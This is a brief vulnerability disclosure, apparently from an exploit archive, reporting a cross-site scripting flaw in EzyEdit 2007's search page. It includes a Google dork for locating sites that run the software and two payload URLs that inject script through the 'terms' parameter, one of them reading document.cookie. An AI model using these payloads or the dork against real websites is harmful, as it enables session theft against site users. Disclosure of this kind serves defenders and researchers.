EzyEdit 2007 XSS vulnerability by cybermilitant
` ___. .__.__ .__ __ __
____ ___.__.\_ |__ ___________ _____ |__| | |__|/ |______ _____/ |_
_/ ___< | | | __ \_/ __ \_ __ \/ \| | | | \ __\__ \ / \ __\
\ \___\___ | | \_\ \ ___/| | \/ Y Y \ | |_| || | / __ \| | \ |
\___ > ____| |___ /\___ >__| |__|_| /__|____/__||__| (____ /___| /__|
\/\/ \/ \/ \/ \/ \/
Author: cybermilitant
Site: www.hacktime.org
E-Mail: [email protected]
Vulnerability: Cross Site Sctipting (XXS)
Google Dork: "Powered by ezyEdit 2007"
--------------------------------------------------------------------------------------------
http://[VICTIME]/[PATH]/search.asp?terms=<IMG """><SCRIPT>alert(document.cookie)</SCRIPT>">&Submit1=Search
--------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
http://[VICTIME]/[PATH]/search.asp?terms=';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo